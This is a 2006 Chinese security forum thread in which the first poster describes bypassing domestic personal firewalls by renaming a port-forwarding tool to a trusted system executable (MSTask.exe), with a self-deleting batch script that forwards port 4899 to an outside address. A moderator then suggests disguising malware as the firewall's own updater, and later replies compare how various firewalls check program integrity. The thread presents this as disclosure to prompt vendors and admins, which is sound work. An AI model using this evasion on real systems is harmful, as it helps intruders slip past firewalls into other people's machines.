»
游客:
注册
|
登录
|
帮助
微点交流论坛
»
防火墙
» 找出通病 通杀国内软件防火墙的弱点
13
1/2
1
2
>
作者:
标题: 找出通病 通杀国内软件防火墙的弱点
随风摇曳
中级用户
积分 352
发帖 298
注册 2006-9-6
来自 汕头
#1
找出通病 通杀国内软件防火墙的弱点
一直以来都有一个梦想:要是能发现些漏洞或BUG什么的该多好啊!于是整天对着电脑瞎弄瞎研究,研究什么呢?研究如何突破防火墙(偶这里指的防火墙是软体型的个人防火墙,硬件的偶也没条件。)嘿嘿,你还别说,还真没白研究,还真给偶发现了大多数防火墙的通病。这个BUG能让我们欺骗防火墙来达到访外的目的,具体情况是怎么样的呢?请看下面的解说!
首先,我要介绍一下Windows系统特性,当一个程序运行时,它不能删除,但却能够改名!而当系统里的被保护程序遭到删除或损坏或改名时系统就会及时调用备份文件给予还原!我再讲讲防火墙,大家都知道许多防火墙的“应用程序规则”里一般默认就会让IE浏览器(iexplore.exe)、Outlook Express(msimn.exe)、lsass.exe、spoolsv.exe、MSTask.exe、winlogon.exe、services.exe、svchost.exe通过,而大多的防火墙认为只要是与规则里的路径及文件名相同就Pass!以这样的检测方法来决定是否放行,但它却完全没考虑到如果是别的文件替换的呢?——就相当于古装片里的易容术,易容后就认不得了!这就给了我们机会,我们可以利用这个BUG来欺骗防火墙来达到访外的目的!
小知识:其实现在大多木马采用的DLL插线程技术也就是利用了这个原理,它们首先隐蔽的开启一个认证放行的程序进程(如Iexplore.exe进程),接着把DLL型木马插入这个线程内,然后访外时就可轻松突破防火墙的限制了——因为防火墙是不会拦截已认证放行的程序的。
原理讲完了,我们现在讲讲该如何利用这个BUG了!这里我用虚拟机做实验,制造如下条件:
为了更符合现实,我给服务器安装了“天网防火墙”、Radmin(但由于防火墙指定了访问IP地址,所以没办法正常连接!),MSSQL SERVER、Serv-u。首先我们用常用的方法进行端口转发,看看防火墙有什么反应!
第一步,启用AngelShell Ver 1.0里的Fport(用来进行端口转发的服务端,几乎可以转发任何端口),然后在本地用FportClient(用来进行端口转发的客户端)监听好!
第二步,直接在CMDSHELL里运行“e:\www\fport.exe 4899 192.168.1.1 7788”,这时我们看到虚拟机里的“天网”对Fport马上进行了拦截。
看到了吧!由于Fport并不是认证放行的,防火墙马上就进行了拦截!OK,现在我们实行欺骗计划,看偶如何突破防火墙的!还是执行第一步,然后新建一个批处理,内容如下:
ren MSTask.exe MSTask1.exe
ren fport.exe MSTask.exe
MSTask.exe 4899 192.168.1.1 7788
Del %0
命名为go.bat,接着用SqlRootKit把“Fport.exe”和go.bat 一起copy到目标机子的c:\winnt\system32\(也就是MSTask所在的目录)在SqlRootKit里执行go.bat(注意如果要改MSTask.exe的名的话就需要有管理员权限)。
当FportClient出现“已经接受到远程计算机的连接!”时,用Radmin客户端连接本机的4899端口。
我们已经成功突破限制(由于防火墙没有限制本地连接4899端口,我们用Fport转发了它的端口,登录时等于本地连接,因此我们能够成功连接),这样一来,我们本不能逃过防火墙的Fport便变成了一个有“插线程”技术的端口转发工具了!
据我实验,国内的防火墙几乎无一例外的“拥有”这个BUG!虽然这个BUG不会带来什么大的危害,但总是给入侵者多了一个黑我们的机会!
独乐乐不如众乐乐,所以我还是公布出来了,一是可以让我们国内的防火墙有所改进,二是给网管们提个醒!由于小弟技术有限,难免会出现错误,欢迎各位指正批评。
※ ※ ※ 本文纯属【随风摇曳】个人意见,与【 微点交流论坛 】立场无关※ ※ ※
专营传感器,场效应,达林顿,可控硅,二三极管,IC芯片,光电器件等
2006-9-21 14:57
凯励
新手上路
积分 26
发帖 26
注册 2006-9-22
#2
不是完全能够理解,不过还是要顶一下:)
看得我有点不敢用天网了:)
※ ※ ※ 本文纯属【凯励】个人意见,与【 微点交流论坛 】立场无关※ ※ ※
2006-9-27 09:26
nasdaq
版主
版主
积分 1140
发帖 1118
注册 2006-4-6
#3
呵呵,别的防火墙不一定,但去年的天网肯定确实存在这个问题,今年的天网我懒得测试了。
简单的说,天网的可信程序是基于路径和文件名的,这种方法过于缺乏安全性了。楼主的那文儿可以改进,天网默认是放行自己的主程序和自动升级程序的,所以把恶意程序改名为天网安装目录下的自动升级程序,是最好的办法。
※ ※ ※ 本文纯属【nasdaq】个人意见,与【 微点交流论坛 】立场无关※ ※ ※
2006-9-27 12:42
gclp919
新手上路
积分 45
发帖 45
注册 2006-10-8
来自 山东
#4
厉害。。。。。。。。。
※ ※ ※ 本文纯属【gclp919】个人意见,与【 微点交流论坛 】立场无关※ ※ ※
2006-10-8 21:14
zjf
中级用户
积分 229
发帖 229
注册 2006-10-5
#5
刚看了一下微点的,
在安装文件夹里更改文件会提示找不到元素,创建了一个文本文件,但不能修改,比较放心了,呵呵,
但是那个文本文件也不能删除,怎么办??
※ ※ ※ 本文纯属【zjf】个人意见,与【 微点交流论坛 】立场无关※ ※ ※
2006-10-10 10:15
Legend
超级版主
超级版主
积分 77171
发帖 70170
注册 2005-10-29
#6
您可以在安全模式下删除那个文件
※文章所有权归【Legend】与【东方微点论坛】共同所有,转载请注明出处!※
微点官方认证新浪微博:欢迎进入
微点新浪微博
微点技术支持邮箱:
support@micropoint.com.cn
给Legend发短消息
2006-10-10 10:21
flo
注册用户
积分 168
发帖 168
注册 2006-8-17
#7
天网还是不行啊,大多数国外防火墙都会验证那些被允许访问网络的程序是否被修改。
※ ※ ※ 本文纯属【flo】个人意见,与【 微点交流论坛 】立场无关※ ※ ※
2006-10-13 17:42
nasdaq
版主
版主
积分 1140
发帖 1118
注册 2006-4-6
#8
Quote:
Originally posted by
flo
at 2006-10-13 17:42:
天网还是不行啊,大多数国外防火墙都会验证那些被允许访问网络的程序是否被修改。
这位英雄,我特认同您的看法,但海量的国人都跟咱们看法不一样。。。
另外,更正您一下,我觉得大多数国内外防火墙都会验证程序是否修改
至少我测试瑞星防火墙的时候,替换程序后就会有提示。
还有,新天网我不知道咋样了,老天网特葛,现如今很多信息安全软件都以windows服务形式运行,但天网一直都是应用程序。我不太懂开发,这是个我一直很费解的问题。。。。
※ ※ ※ 本文纯属【nasdaq】个人意见,与【 微点交流论坛 】立场无关※ ※ ※
2006-10-13 17:52
flo
注册用户
积分 168
发帖 168
注册 2006-8-17
#9
Quote:
Originally posted by
nasdaq
at 2006-10-13 17:52:
这位英雄,我特认同您的看法,但海量的国人都跟咱们看法不一样。。。
另外,更正您一下,我觉得大多数国内外防火墙都会验证程序是否修改
至少我测试瑞星防火墙的时候,替换程序后就会有提示。
还有, ...
我好久没碰过瑞星了...
这没啥稀奇的,金山网镖6和以前的版本也是这么干的...解释一是考虑到大多数用户用的是Win9x,而大多数Win2k/xp/2003用户很少跑到非管理员权限去,所以就懒得弄了吧;二是知道自己防火墙太烂,开了和没开都一样。
PS:我听说新天网是以服务运行的吧...不过反正过防火墙的方法还是很多的,少一种也不在乎...
[
Last edited by flo on 2006-10-13 at 21:02
]
※ ※ ※ 本文纯属【flo】个人意见,与【 微点交流论坛 】立场无关※ ※ ※
2006-10-13 21:01
沧海
新手上路
积分 3
发帖 3
注册 2006-10-13
#10
不知道什么样的好了!唉!!!
※ ※ ※ 本文纯属【沧海】个人意见,与【 微点交流论坛 】立场无关※ ※ ※
2006-10-13 23:39
13
1/2
1
2
>
论坛跳转:
微点软件公测区
安全快报
> 病毒快报
> 漏洞快报
微点产品在线技术支持
> 微点主动防御软件
> 预升级反馈专区
> 微点杀毒软件
微点用户交流区
> 微点新闻
> 微点软件使用交流
> 微点茶室
安全技术交流区
> 主动防御
> 反病毒
> 防火墙
综合区
> 电脑&数码
> 体育&娱乐&休闲
> 灌水区
版务管理
内部使用专区
可打印版本
|
推荐
|
订阅
|
收藏
[
联系我们
-
东方微点
]
北京东方微点信息技术有限责任公司 福建东方微点信息安全有限责任公司
闽ICP备05030815号